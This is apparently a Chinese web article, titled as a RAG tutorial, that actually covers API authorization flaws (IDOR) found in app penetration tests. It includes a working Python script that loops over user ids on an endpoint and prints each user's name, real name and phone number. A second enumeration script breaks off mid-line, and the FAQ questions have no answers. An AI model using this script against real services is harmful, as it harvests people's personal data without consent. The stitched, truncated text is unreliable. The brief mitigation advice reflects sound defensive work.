
大模型RAG技術(shù):從入門到實踐
程序通過調(diào)用API接口獲取數(shù)據(jù)信息,如果對參數(shù)校驗不嚴(yán)格,則可能導(dǎo)致越權(quán)獲取別的賬戶信息。
在一次APP滲透測試中,測試人員發(fā)現(xiàn),通過修改user_id
參數(shù),可以獲取其他用戶的賬戶信息。以下是詳細(xì)步驟:
查看數(shù)據(jù)包,其中有個參數(shù)為user_id
,服務(wù)器根據(jù)user_id
值回顯對應(yīng)的賬號信息。
測試人員嘗試修改user_id
值為5,發(fā)現(xiàn)對應(yīng)的賬號信息隨即變動,說明此處對參數(shù)的校驗不嚴(yán)格。通過對user_id
值進(jìn)行遍歷,就能夠獲取所有的賬號信息。
編寫get_api
腳本,遍歷user_id
值,獲取賬戶手機(jī)號信息。
獲取手機(jī)號如下:
在另一個案例中,通過對POST請求中參數(shù)的遍歷,可以獲取用戶的詳細(xì)信息。以下代碼展示了如何利用此漏洞:
import requests
import json
from requests.packages import urllib3
urllib3.disable_warnings()
url = "https://.xxxx.com/api/app/user/getUser"
headers = {
'App': 'ddup',
'Os': 'Android',
'Version': '1.1.7',
'Versioncode': '14',
'Content-Type': 'application/json; charset=utf-8',
'Content-Length': '89',
'Accept-Encoding': 'gzip, deflate',
'User-Agent': 'okhttp/3.14.9'
}
for id in range(1,500):
data = {
"md5":"BBE806AA7B91B1D92DE9FA2AC9EF9DEA",
"token":"",
"tokenId":"",
"version":14,
"id":id
}
try:
res = requests.post(url=url, headers=headers, json=data, verify=False).text
data1 = json.loads(res)
username = data1['response']['userName']
realname = data1['response']['realName']
phone = data1['response']['phone']
sign = data1['response']['userSign']
print("用戶名:", username, " 真實姓名:", realname, " 手機(jī)號:", phone, " sign:", sign)
print("————————————————————————————————————————————————————————————————")
except:
pass
這種漏洞的危害在于,可以批量獲取個人手機(jī)號信息,甚至批量修改賬號密碼,給用戶的隱私和安全帶來巨大的威脅。
user_id
值進(jìn)行匹配校驗,防止越權(quán)查看其它賬號信息。在API接口的遍歷過程中,可能會遇到不同的參數(shù)組合。例如,路徑規(guī)劃接口可能會出現(xiàn)Fromx,y;Tox,y
兩種參數(shù),需要對所有城市進(jìn)行遍歷。所有城市的坐標(biāo)經(jīng)緯度可以通過爬蟲從高德地圖上爬下來。
#encoding:utf-8
#遍歷所有城市路徑規(guī)劃的測試腳本
from xlutils.copy import copy
import urlparse, copy,urllib,xlrd,xlwt,urllib2
from lxml import etree
from hashlib import md5
def url_values_xy(url,fromX,fromY,toX,toY,sign):
ret = []
u = urlparse.urlparse(url)
qs = u.query
pure_url = url.replace('?'+qs, '')
qs_dict = dict(urlparse.parse_qsl(qs))
tmp_dict = copy.deepcopy(qs_dict)
tmp_dict['fromX'] = fromX
tmp_dict['fromY'] = fromY
tmp_dict['toX'] = toX
tmp_dict['toY'] = toY
tmp_dict['sign'] = sign
tmp_qs = urllib.unquote(ur
問:如何有效防止API接口的越權(quán)訪問?
問:API接口遍歷的主要風(fēng)險是什么?
問:開發(fā)者如何識別API接口中的漏洞?
問:越權(quán)訪問漏洞如何對用戶產(chǎn)生影響?
問:API接口設(shè)計中有哪些最佳實踐?
通過對API接口的遍歷和漏洞分析,我們可以更好地理解其潛在的安全風(fēng)險,從而在設(shè)計和使用中采取更加謹(jǐn)慎的措施,確保用戶數(shù)據(jù)的安全。